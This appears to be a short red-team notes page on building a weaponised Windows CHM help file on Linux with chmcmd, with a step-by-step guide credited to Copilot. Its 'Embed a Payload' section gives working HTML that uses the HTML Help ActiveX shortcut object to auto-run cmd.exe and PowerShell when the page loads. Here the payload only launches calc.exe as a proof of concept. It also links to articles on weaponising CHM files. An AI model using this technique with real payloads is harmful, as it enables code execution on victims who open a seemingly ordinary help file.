

CHM

Creating a CHM can be done using the Free Pascal Compiler or Ide on Linux

```
sudo apt-get install fp-ide
sudo apt-get install fp-compiler
```

The CHM can be compiled using the installed 'chmcmd' program.

Guide

Thanks, Copilot:

☐ Step-by-Step Guide

Make Content

```
MyHelpProject/
├─ index.html
├─ topic1.html
├─ topic2.html
├─ styles.css
├─ images/
│   └─ example.png
```

Embed a Payload

```
<html>
<body>
  Hello world
  <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1" value=",cmd.exe,/c
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command C:\Windows\System32\calc.exe">
    <PARAM name="Item2" value="273,1,1">
```

```
</OBJECT>
<SCRIPT>
    x.Click();
</SCRIPT>
</body>
</html>
```

Create the Project (.hhp file)

[Note the following reference on the format](#)

```
[OPTIONS]
Title=CHM
Default topic=file1.htm
Compiled file=chm.chm
Index file=index.htm

[FILES]
index.htm
file1.htm
```

Compile

```
chmcmd project.hhp
```

This will produce project.chm.

On Linux, you may need libchm or chmcmd compiled with support for it.

References:

- https://wiki.freepascal.org/htmlhelp_compiler
- <https://www.nongnu.org/chmspec/latest/>
- <https://learn.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/creating-a-project-file>
- <https://www.alexthayer.com/UsingHHPFiles.pdf>
- <https://medium.com/r3d-buck3t/weaponize-chm-files-with-powershell-nishang-c98b93f79f1e>
- <https://www.forcepoint.com/blog/x-labs/microsoft-compiled-html-help-threat>

- <https://github.com/v4resk/red-book/blob/main/redteam/weapon/code-execution/html-help-files.md>

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